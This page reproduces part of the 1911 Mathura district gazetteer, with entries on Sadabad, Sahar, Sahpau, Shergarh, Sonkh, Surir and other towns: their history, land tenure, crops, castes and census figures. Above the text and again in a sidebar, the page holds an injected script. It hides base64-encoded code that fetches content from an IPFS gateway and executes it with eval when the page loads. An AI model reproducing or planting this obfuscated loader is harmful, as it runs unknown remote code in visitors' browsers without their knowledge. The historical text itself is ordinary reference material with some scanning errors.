Mathura A Gazetteer-21
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<sidebar>
__NORICHEDITOR__<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
</sidebar> | |||||||||
| |||||||||
MATHURA A GAZETTEER,
edited and compiled by, D.L. DRAKE-BROCKMAN [1911]
DIRECTORY
SADABAD, Tahsil, SADABAD.
The chief town of the tahsil lies on the banks of a small stream called the Jhirna or Karwan nadi, in 27°26'N. and 78°3'E. It lies 24 miles east-south-east of Muttra at the junction of four important metalled roads. Of these one runs straight to Muttra, another to the Jalesar road railway station on the East Indian railway, while the remaining two connect the place with the towns of Agra and Aligarh. Sadabad is hardly more than a considerable village. It was founded by the Wazir Sadullah Khan—the minister of the emperor Shahjahan who died in 1655 A.D.; and was the capital of the district between the years 1828 and 1832. The most conspicuous object in the town is the tahsili, a square fort-like structure with battlemented walls which stands on the site of an old fort ascribed to Gosain Himmat Bahadur. There is in the main street a moderate sized temple, but the most noticeable building in the place is the mosque erected by Kunwar Irshad Ali Khan near his private residence. There are two other small mosques, one built by a former tahsildar called Ahmad Ali Khan, and the other ascribed to the Wazir from whom the place takes its name. The oldest temples are two in honour of Mahadeva, one of Hallman, and a fourth founded by Daulat Rao Sindhia. Immediately opposite the road that branches off to Jalesar is an inspection house belonging to the Public Works department; and about half a mile from the town on the Agra side is a large and commodious bungalow belonging to the Musalman family of whom some account has been given in Chapter III. Sadabad contains a police station, pound, middle vernacular school and post-office. Market is held on Tuesdays and Saturdays. The town has been administered under Act XX of 1856 since the year 1859. The chaukidari assessment, which is levied in the usual way, yields an income of some Rs. 960 and is expended on police, conservancy and works of simple improvement. The population has considerably increased of late years. The inhabitants numbered 3,286 in 1881; and this number rose to 3,546 in 1891. In 1901 the population was returned at 4,091 persons, of whom 1,924 were females. Classified according to Religions there were 2,354 Hindus, 1,594 Musalmans and 143 others.
In the Mutiny Sadabad was attacked by the Jats, and seven, lives were lost before they were repulsed. A Thakur of Hathras, by name Samant Singh, who led the defence, subsequently received the grant of a village in Aligarh, while two of the Jat ringleaders, Zalim and Deo Karan of Kursanda, were hanged..
The Village Sanitation Act (U. P. Act II of 1892) is in force in the town.
SADABAD Tahsil.
Sadabad tahsil is the easternmost tahsil of the district and lies between the parallels of 27°16' and 27°31'N. and 77°53 and 78°l3'E. It is bounded on the north by the district of Aligarh, on the east by that of Etah, on the south by Agra, and on the west by tahsil Mahaban of the Muttra district; and has an average length of 19 miles from east to west and an average breadth of 10 miles from north to south. In shape it is a rough quadrilateral figure of symmetrical shape and outline.
The tahsil is divided into two portions by the Jhirna or Karwan river, the portion lying to the east being known in former days as the pargana of Sahpau, and that to the west of the stream being the pargana of Sadabad proper. The tahsil touches the Jumna river, on the Mahaban boundary, in the extreme south-west, where two villages, Mirhaoli and Mandaur, partake of the raviny character of the country bordering on that river; but apart from this the only physical feature in the tract is the Karwan river. The valley of this stream is of considerable depth and breadth in the rainy season owing to the rapidity of the current and the large volume of water which passes down it; but at other times of the year there is but little flow in it except when it is being used as a canal escape. The centre of the valley of the river is occupied by the deep but narrow bed of the stream, whilst on both sides of the bed alluvial belts of cultivated land generally occur. This alluvial tract is connected with the level uplands above by a sloping down, intersected by a few small ravines. These slopes, on account of the denuded character of the soil, are either used as pasture land or are occasionally sown with inferior autumn crops. But when once this belt is passed the land is exceptionally level and uniform. Jhils and marshes are very rare, and there is very little usar. The prevailing soil is the light and easily worked loam known as piliya, interspersed here and there with patches of bhur or sand, which however bear but a small proportion to the whole area. Such usar as there is is found in the east of the tahsil; and in the same direction, in and around depressions, the soil is stiffer and more argillaceous. There are a few patches of waste covered with scrub jungle and occasionally dhak trees; but the weed baisuri is rife and has at times much interfered with cultivation.
As the tahsil is practically untouched by any large river which shifts its bed, its total area hardly changes from year to year, and is returned as 115,209 acres or 180 square miles. Of this only 6,909 acres or 5.99 per cent, are classed as barren, while the culturable land out of cultivation amounts to only 9,821 acres or 8.52 per cent., the latter being the smallest proportion among the tahsils of the district. The area under cultivation reaches a correspondingly high figure and for the five years ending in 1907 averaged 97,479 acres or no less than 84.6 per cent, of the whole tahsil. Sadabad is now watered by the tails of three distributaries from the Mat branch extension canal; but even before these we reconstructed irrigation had always been highly developed in it. Nor does canal irrigation so far appear to have had any other effect than that of changing the method of irrigation. In 1903, before the canal was opened, there were 36,128 acres watered and the quinquennial average from 1903 to 1907 is only 36,558 acres or 37.50 per cent. of the cultivation. Canals do not touch the portion of the tahsil lying east of the Karwan river and there the irrigated area is still entirely served by wells, which account for 91.27 per cent. of the total irrigation of the tahsil. At the same time Sadabad has suffered severely during the droughts of the last 13 years; and the water level, which in 1875 was reckoned to be only 30 feet below the surface, has now sunk in places to as much as 60 feet; while the quality of the water has become generally more brackish. The kharif is the principal harvest and averages 62,258 acres as against 42,837 acres sown in the Rabi, the area cropped more than once in the year being 8,389 acres or 8.61 per cent. of the net cultivation. The chief crops grown in the autumn are juar, cotton and bajra, either alone or in combination with arhar, while smaller areas are devoted to guar and maize. Barley, alone or combined with gram, is the principal spring crop, occupying 45.43 per cent. of the total area sown in that harvest; and after it comes wheat, 35.42 per cent., and wheat intermixed with gram or barley, 10.94 per cent.
The distinguishing peculiarity in the character of the cultivation of Sadabad is its all-round excellence. The small pargana of Sahpau is a common ground on which the great agricultural castes of Rajputs, Ahirs and Jats meet in nearly equal numbers; but whereas in Jalesar on the east Jats are almost unrepresented, in pargana Sadabad on the west they occupy the most prominent position of all. To them is due the excellence of the cultivation; and the other chief cultivating castes are Brahmans, Rajputs, Chamars and Musalmans. In 1907-08 proprietors as such held 16.83 per cent., exproprietary and occupancy tenants 27.57 per cent., and tenants-at-will 54.80 per cent., of the total holdings area, the small remainder being rent-free. Sadabad contains 130 villages, at present divided into 367 mahals. Of the latter, 79, representing 16.80 per cent. Of the whole area, are in the hands of single landolders, and 41 or 6.83 per cent. are held in joint zamindari tenure. There are 84 estates or 22.19 per cent, of the tahsil in which the perfect pattidari tenure prevails, 114 or 38.49 per cent. in which the tenure is imperfect pattidari, and 48 or 15.67 per cent. which are bhaiyachara. Only one estate is revenue-free. The proprietors are chiefly Jats, 31,162 acres; Brahmans. 27,152 acres; Banias, 14,097 acres; Musalmans, 14,012 acres; and Rajputs, 10,585 acres. The largest proprietors are Kunwar Latafat Ali Khan and Kunwar Itimad Ali Khan of Sadabad, who between them own six whole villages and portions of 13 others, assessed to a revenue demand of Rs. 24,900. The other large landholders are men of the trading and money-lending classes, the chief among them being Lalas Kundan Singh, Keshri Singh, Sita Ram and Kausal Kishor.
In 1881 the tahsil had a population of 108,305 persons; but the number fell to 102,103 at the following enumeration in 1891. At the last census in 1901 there were 108,886 inhabitants, of whom 50,018 were women. The average density is 605 persons to the square mile which is considerably above the district average and exceeds that of all tahsils except Muttra, where the rate is swollen by the inclusion of the large city population. Classified according to religions, there were 98,507 Hindus, 9,327 Musalmans, 604 Jains, 382 Christians and 66 Aryas. Chamars are the predominant Hindu caste, while after them come Jats, 14,267; Rajputs, 13,202; Banias, 10,914; and Brahmans, 9,979. Other castes with over two thousand members apiece are Kolis, Gadariyas, Barhais, Nais, Ahirs and Kayasths. Over one-third of the Rajputs belong to the Jaiswar elan, while the bulk of the remainder are Chauhans and Gahlots. The chief Muhammadan subdivisions are Telis, Bhishtis, converted Rajputs, Faqirs, Bhangis, Sheikhs and Pathans, but in no single case do their numbers exceed two thousand. The tahsil is entirely agricultural in character, practically the whole population being dependent on agriculture or the trade in agricultural produce for its livelihood. There is no industrial place in the tahsil and no manufactures of importance are carried on in it.
There are two towns, Sadabad, the headquarters, and Sahpau both of which are administered under Act XX of 1856; but besides these there are few places of any size or importance. Kursanda, a village containing a large number of hamlets, has a local population of 6,663 persons and is an old market town. Bisawar is another large village and market town, while Gutahra, Tasigau, Naugawan, and Jarau all possess over two thousand inhabitants. Lists of the markets, fairs, schools and post-offices of the tahsil are given in the appendix. Sadabad is well supplied with means of communication. The metalled road from Muttra to Jalesar road station runs across it from west to east, and the Dehli-Aligarh section of the grand trunk road passes at right angles to this from north to south. Unmetalled roads run from Sadabad to Rays, Muttra to Naugaon, and Baldeo to Kanjauli. The East Indian railway passes through the extreme east of the tahsil and has a station within its limits, known as the Jalesar road station.
In the days of Akbar the present tahsil of Sadabad was comprised in the mahals of Mahaban, Khandauli and Jalesar. About 1652 A.D., 200 villages were withdrawn from Jalesar by order of Sadullah Khan, Wazir of the emperor Shahjahan, and with the addition of 80 villages from Mahaban and seven from Khandauli were formed into a new pargana, in the centre of which a town was built and called Sadabad after its founder. It is not known when Sahpau was separated from it to become a distinct subdivision; but before the cession both Sahpau and Sadabad were held in jaidad by General DuBoigne for the maintenance of his brigade of troops. After the cession the two parganas were first placed under the collector of Etawah and in 1804 were attached to the then newly formed district of Aligarh. In 1815 they formed part of the sub-collectorate of Sadabad; but in the following year, while Sadabad remained subordinate to the collector of Aligarh, Sahpau was transferred with parganas Firozabad and Khandauli to Agra. The new Sadabad district was formed in 1824 and then Sahpau was included in it; and the pargana passed in 1832 to the new district of Muttra.
At the present day Sadabad constitutes a revenue and criminal subdivision in the charge of a full-powered officer on the district staff. In police matters the jurisdiction is divided between the police stations of Sadabad, Sahpau and Baldeo.
SAHAR, Tahsil CHHATA.
The town of Sahar is situated in 27°38'N. and 77°30'E., at a distance of 21 miles from Muttra. Unmetalled roads connect it with Chhata, Gobardhan and Jait; and close to it flows the Agra canal The village has an area of 4,235 acres and is owned by a community of Brahmans, the revenue demand being Rs. 4,416. At the beginning of the eighteenth century Sahar was a place of considerable importance wider the Jats, being the favourite residence of Thakur Badan Singh, the father of Suraj Mal. The handsome house which ha built for himself is now in rains, and the large masonry tank which adjoins it was left unfinished at his death and has never since been completed, From 1838 to 1857 Sahar was the headquarters of the tahsil of Chhata, the tahsil offices being located in Thakur Badan Singh's residence; but at the Mutiny they were removed to Chhata where they have ever since remained. In the town are several old houses with carved stone gateways of some architectural pretensions; and the two tanks known as Mahesar-kund and Manik Daswala-kund. When Mr. Growse was collector of Muttra a dispute took place between the Hindus and Musalmans of the place regarding the possession of a site on which they wished to erect, the one a temple and the other a mosque. It appeared, however, that there had originally been a Hindu temple on the site which the Muhammadan had thrown down, building a mosque over it. This too had fallen and the ground had for some years remained unoccupied. The case, when brought into court, having been decided in favour of the Hindus, they commenced the erection of a shrine on the spot. In digging the foundations the remains of an old temple were unearthed and rescued by Mr. Growse. They consisted of ten large pillars and pilasters in very good preservation and elegantly carved with foliage and arabesques, and also a number of mutilated capitals and bases. Two of the shafts bore inscriptions of the date sambat 1128 or 1072 A.D.
For some years Sahar was administered under the provisions of Act XX of 1856, but the Act was subsequently withdrawn. The population in 1881 numbered 2,776 souls and this had increased to 3,180 in 1901. There were in that year 2,222 Hindus, 951 Musalmans and seven persons of other religions in the place, the predominant Hindu caste being that of Brahmans. At the present time the village contains a third class police station, cattle-pound, primary school and post-office. Market is held every Wednesday
SAHORA, Tahsil MAHABAN
This village lies in 27°30'N. and 77°46'E., at a distance of between five and six miles from Muttra and Mahaban. It has a total area of 2,640 acres and is assessed to a revenue demand of Rs. 7,448, the zamindara being Brahmans of whom the chief is Bohra Gajadhar Singh. The original owners were Jats, and at the Mutiny they attacked the patwari and killed Khushi Ram, one of the tahsil Chaprasis, for which the share of Ram Sukh, the ringleader, was confiscated. In 1901 the population of the place numbered 2,305 souls, of whom 2,204 were Hindus and 101 were Muhammadans. The village contains a school and a market is held every Tuesday and Wednesday. Sahora takes its name from a temple of Sahori Devi, and is the reputed site of the battle between Abd-un-Nabi, governor of Muttra in 1668 A.D., and some Jat rebels under one Kokila, in which Abd-un-Nabi lost his life.
SAHPAU, Tahasil SADABAD.
The town of Sahpau is situated in 27°26'N. and 78°9'E., a little off the metalled road to the Jalesar road railway station on the East Indian railway. It is distant 31 miles from Muttra and seven miles from Sadabad. The town is picturesquely situated with a large number of groves around it. The zamindars are Gahlot Rajputs, who trace their descent from Chitor and say that at one time they had as many as 52 villages in this neighbourhood. There is a considerable number of Banias in the place, who are either Baraseni Vaishnavas or Jaiswar Saraogis: the latter say they came from Chitor with the Rajputs. They have a modern temple dedicated to Nem Nath, where a festival is held in the month of Bhadon. It stands immediately under the site of the old fort, which is well-raised and covers an area of 13 bighas. The fort has yielded a large supply of massiveslabs of block kankar, which have served as materials for the construction of the basement storey of several of the houses in the bazar. Some late Jaini sculptures have been exhumed on the spot, and one of the most characteristic was removed by Mr. Growse to the Muttra museum. Outside the town, near an old indigo factory, is a raised terrace, sacred to Bhadra Kali Mata: on the top of it are placed numbers of late Jaini figures. A buffalo is here offered in sacrifice at the Dasahra festival. In a field by itself outside the town is a large square domed building which commemorates the self-immolation of a Rajput widow. Sahpau has been administered under Act XX of 1856 since the year 1859. It has an annual income of some Rs. 790, which is raised by the usual tax, and is expended in the maintenance of extra police, a small conservancy staff, and simple works of improvement in the town. The population has fluctuated: in 1881 it numbered- 3,623 persons. This figure fell to 3,431 in 1891, and in 1901 rose again to 3,611. Of this total 2,935 were Hindus, 385 Musalmans and 291 of other religions, chiefly Jains. The town contains a police station, pound, post-office, and both a boys' and a girls' school. Market is held on Sundays and Wednesdays.
The Village Sanitation Act (U. P. Act II of 1892) is in force in the town.
SEHI, Tahsil CHHATA.
This large village lies in 27°40'N. and 77°40'E., between the unmetalled Jait-Shergarh road and the Jumna river, at a distance of 16 miles north of Muttra and eight miles south-east from Chhata. The total area of the village is 4,795 acres and it is assessed to a revenue demand of Rs. 3,986. It is the centre of a clan of Rajputs who call themselves Bachhal from the Bachhban grove in the village. The Bachhban, however, is now only a grove in name and is accounted one of the hamlets of the town. In it is the temple of Bihari Ji, to which the Bachhals resort, the Gosains, who serve it, being accounted the Gurus of the whole community. A great part of the area of the village consists of broken ground and ravines and in addition to Bachhban there are four other hamlets, called respectively Odhuta, Garh, Devipura and Chhota Hazara. The old khera bears the name of Indrauli and is said to have been at one time the site of a large and populous town. It was certainly once of much greater extent than now; but there are no ancient remains nor traces of large buildings. It is still, however, a fairly well-to-do place, most of the houses in the bazar being of masonry construction and a few of them partly faced with carved stone. In the village are two small temples and outside it a semi-Muhammadan shrine, erected about 1860 by a Chamar named Khumani. In it are held two annual fairs on the day of the full moon in Baisakh and Kartik; these are attended equally by Hindus and Muhammadans and of the two ministers at the shrine one is a Brahman and the other a Musalman faqir. There is also a mosque which was built by two Pathans, Qasim Khan and Alam Khan of Panipat, who had a jagir of 24 villages, 12 here and 12 about Sonkh. The population of Sehi in 1901 numbered 2,186 souls, of whom 2,038 were Hindus and 148 Musalmans. Rajputs are the predominant Hindu caste; and the village forms part of the endowment of the Rangji temple at Brindaban.
SHAHPUR, Tahsil CHHATA.
Shahpur lies in 27°54'N. and 77`32'E.; it is situated on the right bank of the Jumna, 36 miles north-north-west of Muttra and nine miles north-east of Kosi, with which it is connected by an unmetalled road. The village was founded towards the middle of the 16th century, in the reign either of Sher Shah or Salim Shah, by an officer of the court known as Mir Ji, of Biluch extraction, who called it Shahpur in honour of his royal master. The tomb of the founder exists not far from the river bank on the road to Chaundras. It is a square building of red sandstone, surmounted by a dome and divided on each side into three bays by pillars and bracket arches of purely Hindu design. On the other side of the village, by the road to Bukharari, is another tomb in memory of Lashkar Khan, a grand-son of the village founder; it is solidly constructed of brick and mortar, but quite plain and of ordinary design. Nearly opposite is the hamlet of Chauki with the remains of a fort erected by Nawab Ashraf Khan and Arif Khan, upon whom Shahpur with other villages, yielding an annual revenue of Rs. 28,000, were conferred as a jagir for life by Lord Lake. There is a double circuit of mud walls with bastions and two gateways of masonry defended by outworks and in the inner court a set of brick buildings now fallen into ruin. This was the ordinary residence of the Nawab, and it was during his lifetime that Shahpur enjoyed a brief spell of prosperity as a populous and important town. It would seem that the fort was not entirely the work of Ashraf Khan, but had been originally constructed some years earlier by Agha Haidar, a local governor under the Marathas, who also planted the adjoining grove of trees. Under the Jats Shahpur was the head of a pargana.
The village has continued to the present day in the hands of Mir Ji's descendants, to one of whom, Fazil Muhammad, Shahpur is indebted for the large bagh of trees which makes the place one of the most agreeable camping-grounds in the district. In the village are three mosques, but all are small, as the Muhammadan population, though considerable, consists largely of Qassabs. A weekly market is held on Mondays. Shahpur contains a small school aided by the district board, and in 1901 had a population of 2,390 persons; of this number 874 were Hindus and 1,516 were Musalmans.
There is a ferry over the river at Shahpur, which is annually leased by the district board for some Rs. 100.
SHERGARH, Tahsil CHHATA.
Shergarh stands on the right bank of the Jumna, in 27°47'N. and 77°38'E. It is 22 miles distant from Muttra and eight miles distant from Chhata, with which it is connected by an unmetalled road. The town derives its name from a large fort, now in ruins, built by the emperor Sher Shah. The Jumna once washed the foot of the walls, and must have given the fort a distinguished appearance; but it is now more than a mile distant. The original zamindars were Pathans; but nearly the whole estate passed by purchase to Seth Gobind Das of Muttra. His successor sold the property to a resident Bania named Munna Lal, between whom and the Pathans there is now a continual feud. At the time of the Mutiny, considerable alarm was caused to the townspeople by the Gujars of the neighbouring villages, whose estates were afterwards confiscated and conferred on Raja Gobind Singh of Hathras. These Gujars are still turbulent, and the Shergarh police circle is the worst as regards cattle theft in the district.
Shergarh has been administered under Act XX of 1856 only since the year 1891. It derives an average income of some Rs. 825 from the chaukidari assessment. The population has fluctuated but is lower now than it was in 1872, when it numbered 5,305 persons. In 1881 the number had fallen to 4,712 and in 1891 to 4,415. At the last enumeration in 1901 there were 4,629 inhabitants, of whom 2,808 were Hindus, 1,735 Musalmans, and 86 of other religions. Shergarh contains a police station, pound, post-office, and middle vernacular school. A market is held every Thursday.
Besides the direct road to Chhata, other unmetalled roads lead from Shergarh to Jait and Kosi, on the west of the Jumna, and to Nohjhil across the river on the east. There is a ferry where the latter crosses the river, which is let yearly at an average sum of Rs. 700 by the district board.
The Village Sanitation Act (U. P. Act II of 1892) is in force in the town.
SONAI, Tahsil MAHABAN.
Sonai is a township on the road from Muttra to Hathras, in 27°34'N. and 77°54'E., which, like its neighbour Raya, finds no place in the revenue records, being there represented by eight independent villages, namely Thok Bindavani, Thok Gyan, Thok Kamal (better known as Khojna), Thok Saru, Thok Sumera, Bhurari, Nagara Bari and Nagara Jangali. The population of the united township in 1881 was 2,393 persons, and this rose to 3,124 in 1901. Of this number 2,726 were Hindus, 394 Musalmans and four of other religions. A fort built by Begam Umrao Shah in 1772, which in 1808 was held by Thakur Daya Ram of Hathras, was for some years after the cession used as a tahsili. But not a vestige now remains of the old buildings which were pulled down, the materials being used for the construction of a police station. The police station was later replaced by an outpost, and subsequently this too was abolished. Sonai contains a primary school, and markets are held on Sundays and Thursdays. The total area of the villages which compose the township is 2,274 acres and the revenue demand is Rs. 6,422, the zamindars being partly Jats and partly Musalmans.
SONKH, Tahsil MUTTRA.
The town of Sonkh lies in 27°29'N. and 77°31'E.; it is distant 16 miles from Muttra with which it is connected by an unmetalled road, the road passing on to Kumbher, the capital town of a pargana in Bharatpur territory. It is a thriving and well-to-do place with a large number of brick-built houses and shops, many of them with carved stone fronts. It is said by the Gosains to derive its name from the demon Sankhasur; but according to the local tradition it was first founded in the time of Anang Pal of Delhi, probably by the same Tomar chief who has left other traces of his name at Son, Sonsa and Sonoth. The ancestor of the present community was a Jat by name Ahlad, whose five sons-Asa, Ajal, Purna, Tasiha and Sahjua-divided their estate into as many separate shares, which still bear their names and are to all intents and purposes distinct villages, with the Sonkh bazar as their common centre. The bazar lies immediately under the khera on the site of the old fort, of which some crumbling walls and bastions still remain. It was built by a Jat named Hati Singh or Jawahir Singh in the time of Suraj Mal of Bharatpur; but the khera itself must be many years older. There are two market places in the bazar; one belonging to the Sahjua and the other to the Purna zamindars. The market day for the former is Thursday and for the latter Monday; but a considerable amount of business is transacted every day of the week.
Under the Jat rule, Sonkh was the head of a taluqa. About a mile away, just across the Bharatpur border, at a place called Gunsara, is a fine masonry tank. This was the work of Rani Lakshmi, the consort of Raja Randhir Singh, who also built the beautiful kunj which bears her name on the banks of the Jumna at Brindaban. Where the road branches off to Gobardhan is a temple of Mahadeva with a masonry tank of considerable depth beside it. The avenue of trees between Sonkh and Gobardhan is a fine one and was almost entirely planted by a bairagi called Saligram.
Sonkh has been administered under Act XX of 1856 since the year 1859. It has an average annual income of Rs. 645, which is raised by the usual chaukidari assessment, and expended on the maintenance of extra police, a small conservancy staff, and in simple works of improvement within the town. The population has increased of late years. In 1881 the inhabitants numbered 4,126 persons; and though the number fell to 4,085 in 1891, it rose again to 4,579 in 1901. Of the whole number 3,780 were Hindus, 787 Musalmans and 12 of other religions. The town contains a police station, pound, post- office and school.
The Village Sanitation Act (U. P. Act II of 1892) is in force.
SURIR, Tahsil MAT.
The village of Surir is situated in the centre of the Mat tahsil, not far from the left bank of the Jumna, in 27°46'N. and 77°44'E. It is 22 miles distant from Muttra and 10 miles from Mat, with which it is connected by an unmetalled road. The township, which has an area of 4,728 acres is divided into two thoks, called Bija and Kalan, and there are several subordinate hamlets. It is said to have been originally called Sugrivkhera, after the name of one of the different founders; and this explains the original of the present name Surir. The oldest occupants were Kalars, who were expelled by Dhakaras, and these in turn by Raja Jitpal, a Jais Rajput. His posterity still constitute a large part of the population, but have been gradually supplanted in much of the proprietary estate by Banias and Bairagis. In 1901 the population of Surir was returned as 5,093 persons, 4,630 being Hindus, 418 Musalmans and 45 of other religions, chiefly Aryas. It contains a police station, cattle-pound, post-office and primary school; Ad market is held every Monday in it. Rajputs are the numerically strongest Hindu caste; and the village is assessed to a revenue demand of Rs. 10,863. At the time of the Mutiny, Lachhman, the lumbardar, was arrested with eleven others on the charge (which, however, was not brought home to any of them) of having been concerned in the disturbances that took place at the, neighbouring village of Bhadanwara, in which the zamindar, Kunwar Dildar Ali Khan, of the Bulandshahr Lalkhani family, was murdered, his wife ravished and a large mansion that he was then building-totally wrecked.